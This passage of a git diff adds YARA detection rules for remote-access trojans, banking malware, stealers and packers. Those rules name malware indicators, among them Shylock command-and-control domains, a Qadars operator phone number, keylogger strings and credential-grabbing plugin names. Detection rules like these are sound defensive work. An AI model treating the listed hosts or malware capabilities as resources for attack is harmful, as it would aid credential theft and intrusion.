+rule NetWiredRC_B : rat 
+{
+	meta:
+		description = "NetWiredRC"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2014-12-23"
+		filetype = "memory"
+		version = "1.1" 
+
+	strings:
+		$mutex = "LmddnIkX"
+
+		$str1 = "%s.Identifier"
+		$str2 = "%d:%I64u:%s%s;"
+		$str3 = "%s%.2d-%.2d-%.4d"
+		$str4 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+		$str5 = "%.2d/%.2d/%d %.2d:%.2d:%.2d"
+		
+		$klg1 = "[Backspace]"
+		$klg2 = "[Enter]"
+		$klg3 = "[Tab]"
+		$klg4 = "[Arrow Left]"
+		$klg5 = "[Arrow Up]"
+		$klg6 = "[Arrow Right]"
+		$klg7 = "[Arrow Down]"
+		$klg8 = "[Home]"
+		$klg9 = "[Page Up]"
+		$klg10 = "[Page Down]"
+		$klg11 = "[End]"
+		$klg12 = "[Break]"
+		$klg13 = "[Delete]"
+		$klg14 = "[Insert]"
+		$klg15 = "[Print Screen]"
+		$klg16 = "[Scroll Lock]"
+		$klg17 = "[Caps Lock]"
+		$klg18 = "[Alt]"
+		$klg19 = "[Esc]"
+		$klg20 = "[Ctrl+%c]"
+
+	condition: 
+		$mutex or (1 of ($str*) and 1 of ($klg*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/PlugX.yar b/yara-mikesxrs/Jipe_/PlugX.yar
new file mode 100644
index 0000000..ff722dc
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/PlugX.yar
@@ -0,0 +1,22 @@
+rule plugX : rat
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "PlugX RAT"
+		date = "2014-05-13"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "https://github.com/mattulm/IR-things/blob/master/volplugs/plugx.py"
+		
+	strings:
+		$v1a = { 47 55 4C 50 00 00 00 00 }
+		$v1b = "/update?id=%8.8x" 
+		$v1algoa = { BB 33 33 33 33 2B } 
+		$v1algob = { BB 44 44 44 44 2B } 
+		$v2a = "Proxy-Auth:" 
+		$v2b = { 68 A0 02 00 00 } 
+		$v2k = { C1 8F 3A 71 } 
+		
+	condition: 
+		$v1a at 0 or $v1b or (($v2a or $v2b) and (($v1algoa and $v1algob) or $v2k))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Poisonivy.yar b/yara-mikesxrs/Jipe_/Poisonivy.yar
new file mode 100644
index 0000000..4ddb9a3
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Poisonivy.yar
@@ -0,0 +1,16 @@
+rule poisonivy : rat
+{
+	meta:
+		description = "Poison Ivy"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "https://code.google.com/p/volatility/source/browse/trunk/contrib/plugins/malware/poisonivy.py"
+
+	strings:
+		$a = { 53 74 75 62 50 61 74 68 ?? 53 4F 46 54 57 41 52 45 5C 43 6C 61 73 73 65 73 5C 68 74 74 70 5C 73 68 65 6C 6C 5C 6F 70 65 6E 5C 63 6F 6D 6D 61 6E 64 [22] 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 41 63 74 69 76 65 20 53 65 74 75 70 5C 49 6E 73 74 61 6C 6C 65 64 20 43 6F 6D 70 6F 6E 65 6E 74 73 5C } 
+		
+	condition:
+		$a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Qadars.yar b/yara-mikesxrs/Jipe_/Qadars.yar
new file mode 100644
index 0000000..647dba9
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Qadars.yar
@@ -0,0 +1,26 @@
+rule qadars : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Qadars - Mobile part. Maybe Perkele."
+		version = "1.0" 
+		filetype = "memory"
+		ref1 = "http://www.lexsi-leblog.fr/cert/qadars-nouveau-malware-bancaire-composant-mobile.html"
+
+	strings:
+		$cmd1 = "m?D"
+		$cmd2 = "m?S"
+		$cmd3 = "ALL"
+		$cmd4 = "FILTER"
+		$cmd5 = "NONE"
+		$cmd6 = "KILL"
+		$cmd7 = "CANCEL"
+		$cmd8 = "SMS"
+		$cmd9 = "DIVERT"
+		$cmd10 = "MESS"
+		$nofilter = "nofilter1111111"
+		$botherderphonenumber1 = "+380678409210"
+
+	condition:
+		all of ($cmd*) or $nofilter or any of ($botherderphonenumber*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Shylock.yar b/yara-mikesxrs/Jipe_/Shylock.yar
new file mode 100644
index 0000000..128f24c
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Shylock.yar
@@ -0,0 +1,49 @@
+rule shylock :  banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Shylock Banker"
+		date = "2013-12-12" 
+		version = "1.0" 
+		ref1 = "http://iocbucket.com/iocs/1b4660d57928df5ca843c21df0b2adb117026cba"
+		ref2 = "http://www.trusteer.com/blog/merchant-fraud-returns-%E2%80%93-shylock-polymorphic-financial-malware-infections-rise"
+		ref3 = "https://www.csis.dk/en/csis/blog/3811/"
+
+	strings:
+		$process1 = "MASTER"
+		$process2 = "_SHUTDOWN"
+		$process3 = "EVT_VNC"
+		$process4 = "EVT_BACK"
+		$process5 = "EVT_VNC"
+		$process6 = "IE_Hook::GetRequestInfo"
+		$process7 = "FF_Hook::getRequestInfo"
+		$process8 = "EX_Hook::CreateProcess"
+		$process9 = "hijackdll.dll"
+		$process10 = "MTX_"
+		$process11 = "FF::PR_WriteHook entry"
+		$process12 = "FF::PR_WriteHook exit"
+		$process13 = "HijackProcessAttach::*** MASTER *** MASTER *** MASTER *** %s PID=%u"
+		$process14 = "HijackProcessAttach::entry"
+		$process15 = "FF::BEFORE INJECT"
+		$process16 = "FF::AFTER INJECT"
+		$process17 = "IE::AFTER INJECT"
+		$process18 = "IE::BEFORE INJECT"
+		$process19 = "*** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** %s"
+		$process20 = "*** LOG INJECTS *** %s"
+		$process21 = "*** inject to process %s not allowed"
+		$process22 = "*** BackSocks *** BackSocks *** BackSocks *** BackSocks *** BackSocks *** BackSocks *** BackSocks *** %s"
+		$process23 = ".?AVFF_Hook@@"
+		$process24 = ".?AVIE_Hook@@"
+		$process25 = "Inject::InjectDllFromMemory"
+		$process26 = "BadSocks.dll"	
+		$domain1 = "extensadv.cc"
+		$domain2 = "topbeat.cc"
+		$domain3 = "brainsphere.cc"
+		$domain4 = "commonworldme.cc"
+		$domain5 = "gigacat.cc"
+		$domain6 = "nw-serv.cc"
+		$domain7 = "paragua-analyst.cc"
+		
+	condition:
+		3 of ($process*) or any of ($domain*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Spyeye.yar b/yara-mikesxrs/Jipe_/Spyeye.yar
new file mode 100644
index 0000000..07994d4
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Spyeye.yar
@@ -0,0 +1,64 @@
+rule spyeye : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "SpyEye X.Y memory"
+		date = "2012-05-23" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$spyeye = "SpyEye"
+		$a = "%BOTNAME%"
+		$b = "globplugins"
+		$c = "data_inject"
+		$d = "data_before"
+		$e = "data_after"
+		$f = "data_end"
+		$g = "bot_version"
+		$h = "bot_guid"
+		$i = "TakeBotGuid"
+		$j = "TakeGateToCollector"
+		$k = "[ERROR] : Omfg! Process is still active? Lets kill that mazafaka!"
+		$l = "[ERROR] : Update is not successfull for some reason"
+		$m = "[ERROR] : dwErr == %u"
+		$n = "GRABBED DATA"
+		
+	condition:
+		$spyeye or (any of ($a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k,$l,$m,$n))
+}
+
+rule spyeye_plugins : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "SpyEye X.Y Plugins memory"
+		date = "2012-05-23" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$a = "webfakes.dll"
+		$b = "config.dat"			//may raise some FP
+		$c = "collectors.txt"
+		$d = "webinjects.txt"
+		$e = "screenshots.txt"
+		$f = "billinghammer.dll"
+		$g = "block.dll"			//may raise some FP
+		$h = "bugreport.dll"		//may raise some FP
+		$i = "ccgrabber.dll"
+		$j = "connector2.dll"
+		$k = "creditgrab.dll"
+		$l = "customconnector.dll"
+		$m = "ffcertgrabber.dll"
+		$n = "ftpbc.dll"
+		$o = "rdp.dll"				//may raise some FP
+		$p = "rt_2_4.dll"
+		$q = "socks5.dll"			//may raise some FP
+		$r = "spySpread.dll"
+		$s = "w2chek4_4.dll"
+		$t = "w2chek4_6.dll"
+	
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Jipe_/Swrort.yar b/yara-mikesxrs/Jipe_/Swrort.yar
new file mode 100644
index 0000000..8977107
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Swrort.yar
@@ -0,0 +1,15 @@
+rule swrort : rat
+{
+	meta:
+		description = "Trojan:Win32/Swrort / Downloader"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-06-22"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$path = "c:\\code\\httppump\\inner\\objchk_wxp_x86\\i386\\i.pdb"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Terminator.yar b/yara-mikesxrs/Jipe_/Terminator.yar
new file mode 100644
index 0000000..2728511
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Terminator.yar
@@ -0,0 +1,17 @@
+rule TerminatorRat : rat 
+{
+	meta:
+		description = "Terminator RAT" 
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-10-24"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "http://www.fireeye.com/blog/technical/malware-research/2013/10/evasive-tactics-terminator-rat.html" 
+
+	strings:
+		$a = "Accelorator"
+		$b = "<html><title>12356</title><body>"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/XTremRat.yar b/yara-mikesxrs/Jipe_/XTremRat.yar
new file mode 100644
index 0000000..676047e
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/XTremRat.yar
@@ -0,0 +1,21 @@
+rule xtremrat : rat
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Xtrem RAT v3.5"
+		date = "2012-07-12" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$a = "XTREME" wide
+		$b = "XTREMEBINDER" wide
+		$c = "STARTSERVERBUFFER" wide
+		$d = "SOFTWARE\\XtremeRAT" wide
+		$e = "XTREMEUPDATE" wide
+		$f = "XtremeKeylogger" wide
+		$g = "myversion|3.5" wide
+		$h = "xtreme rat" wide nocase
+	condition:
+		2 of them
+}
diff --git a/yara-mikesxrs/Jipe_/jRAT_conf.yar b/yara-mikesxrs/Jipe_/jRAT_conf.yar
new file mode 100644
index 0000000..65dc83b
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/jRAT_conf.yar
@@ -0,0 +1,17 @@
+rule jRAT_conf : rat 
+{
+	meta:
+		description = "jRAT configuration"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-10-11"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "https://github.com/MalwareLu/config_extractor/blob/master/config_jRAT.py" 
+		ref2 = "http://www.ghettoforensics.com/2013/10/dumping-malware-configuration-data-from.html" 
+
+	strings:
+		$a = "/port=[0-9]{1,5}SPLIT/" 
+
+	condition: 
+		$a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/office_document_vba.yar b/yara-mikesxrs/Jipe_/office_document_vba.yar
new file mode 100644
index 0000000..ca2237c
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/office_document_vba.yar
@@ -0,0 +1,22 @@
+rule office_document_vba
+{
+	meta:
+		description = "Office document with embedded VBA"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-12-17"
+		reference = "N/A"
+
+	strings:
+		$officemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+		$zipmagic = "PK"
+
+		$97str1 = "_VBA_PROJECT_CUR" wide
+		$97str2 = "VBAProject"
+		$97str3 = { 41 74 74 72 69 62 75 74 00 65 20 56 42 5F }
+
+		$xmlstr1 = "vbaProject.bin"
+		$xmlstr2 = "vbaData.xml"
+
+	condition:
+		($officemagic at 0 and any of ($97str*)) or ($zipmagic at 0 and any of ($xmlstr*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/BlackShades_Trojan.yar b/yara-mikesxrs/Kevin Falcoz/BlackShades_Trojan.yar
new file mode 100644
index 0000000..1a8c6a6
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/BlackShades_Trojan.yar	
@@ -0,0 +1,17 @@
+import "pe"
+
+rule BlackShades : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="26/06/2013"
+		description="BlackShades Server"
+		
+	strings:
+		$signature1={62 73 73 5F 73 65 72 76 65 72}
+		$signature2={43 4C 49 43 4B 5F 44 45 4C 41 59 00 53 43 4B 5F 49 44}
+		$signature3={6D 6F 64 49 6E 6A 50 45}
+		
+	condition:
+		$signature1 and $signature2 and $signature3
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/Bublik_Downloader.yar b/yara-mikesxrs/Kevin Falcoz/Bublik_Downloader.yar
new file mode 100644
index 0000000..a6a8cd4
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/Bublik_Downloader.yar	
@@ -0,0 +1,14 @@
+rule Bublik : Downloader
+{
+	meta:
+		author="Kevin Falcoz"
+		date="29/09/2013"
+		description="Bublik Trojan Downloader"
+		
+	strings:
+		$signature1={63 6F 6E 73 6F 6C 61 73}
+		$signature2={63 6C 55 6E 00 69 6E 66 6F 2E 69 6E 69}
+		
+	condition:
+		$signature1 and $signature2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/Grozlex_Stealer.yar b/yara-mikesxrs/Kevin Falcoz/Grozlex_Stealer.yar
new file mode 100644
index 0000000..5260284
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/Grozlex_Stealer.yar	
@@ -0,0 +1,13 @@
+rule Grozlex : Stealer
+{
+	meta:
+		author="Kevin Falcoz"
+		date="20/08/2013"
+		description="Grozlex Stealer - Possible HCStealer"
+		
+	strings:
+		$signature={4C 00 6F 00 67 00 73 00 20 00 61 00 74 00 74 00 61 00 63 00 68 00 65 00 64 00 20 00 62 00 79 00 20 00 69 00 43 00 6F 00 7A 00 65 00 6E}
+	
+	condition:
+		$signature
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/Kevin_Falcoz_index.yara b/yara-mikesxrs/Kevin Falcoz/Kevin_Falcoz_index.yara
new file mode 100644
index 0000000..1d7423a
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/Kevin_Falcoz_index.yara	
@@ -0,0 +1,437 @@
+import "pe"
+
+rule BlackShades : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="26/06/2013"
+		description="BlackShades Server"
+		
+	strings:
+		$signature1={62 73 73 5F 73 65 72 76 65 72}
+		$signature2={43 4C 49 43 4B 5F 44 45 4C 41 59 00 53 43 4B 5F 49 44}
+		$signature3={6D 6F 64 49 6E 6A 50 45}
+		
+	condition:
+		$signature1 and $signature2 and $signature3
+}
+
+rule Bublik : Downloader
+{
+	meta:
+		author="Kevin Falcoz"
+		date="29/09/2013"
+		description="Bublik Trojan Downloader"
+		
+	strings:
+		$signature1={63 6F 6E 73 6F 6C 61 73}
+		$signature2={63 6C 55 6E 00 69 6E 66 6F 2E 69 6E 69}
+		
+	condition:
+		$signature1 and $signature2
+}
+/*
+URL: https://github.com/0pc0deFR/YaraRules
+Developpeur: 0pc0deFR (alias Kevin Falcoz)
+compiler.yar contient plusieurs gles permettant d'identifier un compilateur
+*/
+/*
+rule visual_basic_5_6 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/02/2013"
+		description="Miscrosoft Visual Basic 5.0/6.0"
+		
+	strings:
+		$str1={68 ?? ?? ?? 00 E8 ?? FF FF FF 00 00 ?? 00 00 00 30 00 00 00 ?? 00 00 00 00 00 00 00 [16] 00 00 00 00 00 00 01 00} 
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+*/
+
+rule visual_studio_net : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/02/2013"
+		description="Miscrosoft Visual Studio .NET/C#"
+		
+	strings:
+		$str1={FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+rule visual_c_plus_plus_6 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Miscrosoft Visual C++ 6.0"
+		
+	strings:
+		$str1={55 8B EC 6A FF 68 [3] 00 68 [3] 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC [1] 53 56 57 89 65 E8} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+rule visual_c_plus_plus_6_sp : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Miscrosoft Visual C++ 6.0 SPx"
+		
+	strings:
+		$str1={55 8B EC 83 EC 44 56 FF 15 ?? 10 40 00 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+rule visual_c_plus_plus_7 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Miscrosoft Visual C++ 7.0"
+		
+	strings:
+		$str1={6A 60 68 [2] 40 00 E8 [2] 00 00 BF 94 00 00 00 8B C7 E8 [4] 89 65 E8 8B F4 89 3E 56 FF 15 [2] 40 00 8B 4E 10 89 0D} /*EntryPoint*/
+		$str2={6A 0C 68 [4] E8 [4] 33 C0 40 89 45 E4}
+	
+	condition:
+		$str1 at (pe.entry_point) or $str2 at (pe.entry_point)
+}
+rule borland_delphi_6_7 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Borland Delphi 6.0 - 7.0"
+		
+	strings:
+		$str1={55 8B EC 83 C4 F0 53 B8 [3] 00 E8 [3] FF 8B 1D [3] 00 8B 03 BA [2] 52 00 E8 [2] F6 FF B8 [2] 52 00 E8 [2] FF FF 8B 03 E8} /*EntryPoint*/
+		$str2={55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 [0-1] 53 [9-11] FF 33 C0 55 68 [3] 00 64 FF 30 64 89 20} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point) or $str2 at (pe.entry_point)
+}
+
+rule Grozlex : Stealer
+{
+	meta:
+		author="Kevin Falcoz"
+		date="20/08/2013"
+		description="Grozlex Stealer - Possible HCStealer"
+		
+	strings:
+		$signature={4C 00 6F 00 67 00 73 00 20 00 61 00 74 00 74 00 61 00 63 00 68 00 65 00 64 00 20 00 62 00 79 00 20 00 69 00 43 00 6F 00 7A 00 65 00 6E}
+	
+	condition:
+		$signature
+}
+
+rule lost_door : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="23/02/2013"
+		description="Lost Door"
+	
+	strings:
+		$signature1={45 44 49 54 5F 53 45 52 56 45 52} /*EDIT_SERVER*/
+		
+	condition:
+		$signature1
+}
+
+rule upx_0_80_to_1_24 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="UPX 0.80 to 1.24"
+
+	strings:
+		$str1={6A 60 68 60 02 4B 00 E8 8B 04 00 00 83 65 FC 00 8D 45 90 50 FF 15 8C F1 48 00 C7 45 FC FE FF FF FF BF 94 00 00 00 57}
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule upx_1_00_to_1_07 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="19/03/2013"
+		description="UPX 1.00 to 1.07"
+
+	strings:
+		$str1={60 BE 00 ?0 4? 00 8D BE 00 B0 F? FF ?7 8? [3] ?0 9? [0-9] 90 90 90 90 [0-2] 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0}
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule upx_3 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="UPX 3.X"
+
+	strings:
+		$str1={60 BE 00 [2] 00 8D BE 00 [2] FF [1-12] EB 1? 90 90 90 90 90 [1-3] 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01}
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule obsidium : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="21/01/2013"
+		last_edit="17/03/2013"
+		description="Obsidium"
+
+	strings:
+		$str1={EB 02 [2] E8 25 00 00 00 EB 04 [4] EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 [2] C3 EB 02 [2] EB 04} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule pecompact2 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="PECompact"
+
+	strings:
+		$str1={B8 [3] 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule aspack : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="ASPack"
+
+	strings:
+		$str1={60 E8 00 00 00 00 5D 81 ED 5D 3B 40 00 64 A1 30 00 00 00 0F B6 40 02 0A C0 74 04 33 C0 87 00 B9 ?? ?? 00 00 8D BD B7 3B 40 00 8B F7 AC} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule execryptor : Protector
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="EXECryptor"
+
+	strings:
+		$str1={E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 64 8F 05 00 00 00 00} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule winrar_sfx : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="18/03/2013"
+		description="Winrar SFX Archive"
+	
+	strings:
+		$signature1={00 00 53 6F 66 74 77 61 72 65 5C 57 69 6E 52 41 52 20 53 46 58 00} 
+		
+	condition:
+		$signature1
+}
+
+rule mpress_2_xx_x86 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="19/03/2013"
+		last_edit="24/03/2013"
+		description="MPRESS v2.XX x86  - no .NET"
+	
+	strings:
+		$signature1={60 E8 00 00 00 00 58 05 [2] 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 88 04 31 75 F6}
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule mpress_2_xx_x64 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="19/03/2013"
+		last_edit="24/03/2013"
+		description="MPRESS v2.XX x64  - no .NET"
+	
+	strings:
+		$signature1={57 56 53 51 52 41 50 48 8D 05 DE 0A 00 00 48 8B 30 48 03 F0 48 2B C0 48 8B FE 66 AD C1 E0 0C 48 8B C8 50 AD 2B C8 48 03 F1 8B C8 57 44 8B C1 FF C9 8A 44 39 06 88 04 31} 
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule mpress_2_xx_net : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/03/2013"
+		description="MPRESS v2.XX .NET"
+	
+	strings:
+		$signature1={21 46 00 69 00 6C 00 65 00 20 00 69 00 73 00 20 00 69 00 6E 00 76 00 61 00 6C 00 69 00 64 00 2E 00 00 0D 4D 00 50 00 52 00 45 00 53 00 53 00 00 00 00 00 2D 2D 93 6B 35 04 2E 43 85 EF}
+		
+	condition:
+		$signature1
+}
+
+rule rpx_1_xx : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/03/2013"
+		description="RPX v1.XX"
+	
+	strings:
+		$signature1= "RPX 1."
+		$signature2= "Copyright %C2 %A9  20"
+		
+	condition:
+		$signature1 and $signature2
+}
+
+rule mew_11_xx : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/03/2013"
+		description="MEW 11"
+	
+	strings:
+		$signature1={50 72 6F 63 41 64 64 72 65 73 73 00 E9 [6-7] 00 00 00 00 00 00 00 00 00 [7] 00}
+		$signature2="MEW"
+		
+	condition:
+		$signature1 and $signature2
+}
+
+rule yoda_crypter_1_2 : Crypter
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="15/04/2013"
+		description="Yoda Crypter 1.2"
+	
+	strings:
+		$signature1={60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC [19] EB 01 [27] AA E2 CC}
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule yoda_crypter_1_3 : Crypter
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="15/04/2013"
+		description="Yoda Crypter 1.3"
+	
+	strings:
+		$signature1={55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule universal_1337_stealer_serveur : Stealer
+{
+	meta:
+		author="Kevin Falcoz"
+		date="24/02/2013"
+		description="Universal 1337 Stealer Serveur"
+		
+	strings:
+		$signature1={2A 5B 53 2D 50 2D 4C 2D 49 2D 54 5D 2A} /*[S-P-L-I-T]*/
+		$signature2={2A 5B 48 2D 45 2D 52 2D 45 5D 2A} /*[H-E-R-E]*/
+		$signature3={46 54 50 7E} /*FTP~*/
+		$signature4={7E 31 7E 31 7E 30 7E 30} /*~1~1~0~0*/
+		
+	condition:
+		$signature1 and $signature2 or $signature3 and $signature4
+}
+rule Wabot : Worm
+{
+	meta:
+		author="Kevin Falcoz"
+		date="14/08/2015"
+		description="Wabot Trojan Worm"
+
+	strings:
+		$signature1={43 3A 5C 6D 61 72 69 6A 75 61 6E 61 2E 74 78 74}
+		$signature2={73 49 52 43 34}
+
+	condition:
+		$signature1 and $signature2
+}
+
+rule xtreme_rat : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="23/02/2013"
+		description="Xtreme RAT"
+	
+	strings:
+		$signature1={58 00 54 00 52 00 45 00 4D 00 45} /*X.T.R.E.M.E*/
+		
+	condition:
+		$signature1
+}
+
+rule YahLover : Worm
+{
+	meta:
+		author="Kevin Falcoz"
+		date="10/06/2013"
+		description="YahLover"
+		
+	strings:
+		$signature1={42 00 49 00 54 00 52 00 4F 00 54 00 41 00 54 00 45 00 00 00 42 00 49 00 54 00 53 00 48 00 49 00 46 00 54 00 00 00 00 00 42 00 49 00 54 00 58 00 4F 00 52}
+		
+	condition:
+		$signature1
+}
+
+rule Zegost : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="10/06/2013"
+		description="Zegost Trojan"
+		
+	strings:
+		$signature1={39 2F 66 33 30 4C 69 35 75 62 4F 35 44 4E 41 44 44 78 47 38 73 37 36 32 74 71 59 3D}
+		$signature2={00 BA DA 22 51 42 6F 6D 65 00}
+		
+	condition:
+		$signature1 and $signature2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/Packers.yar b/yara-mikesxrs/Kevin Falcoz/Packers.yar
new file mode 100644
index 0000000..e114e2a
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/Packers.yar	
@@ -0,0 +1,216 @@
+import "pe"
+
+rule upx_0_80_to_1_24 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="UPX 0.80 to 1.24"
+
+	strings:
+		$str1={6A 60 68 60 02 4B 00 E8 8B 04 00 00 83 65 FC 00 8D 45 90 50 FF 15 8C F1 48 00 C7 45 FC FE FF FF FF BF 94 00 00 00 57}
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule upx_1_00_to_1_07 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="19/03/2013"
+		description="UPX 1.00 to 1.07"
+
+	strings:
+		$str1={60 BE 00 ?0 4? 00 8D BE 00 B0 F? FF ?7 8? [3] ?0 9? [0-9] 90 90 90 90 [0-2] 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0}
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule upx_3 : Packer
+{
+	meta:
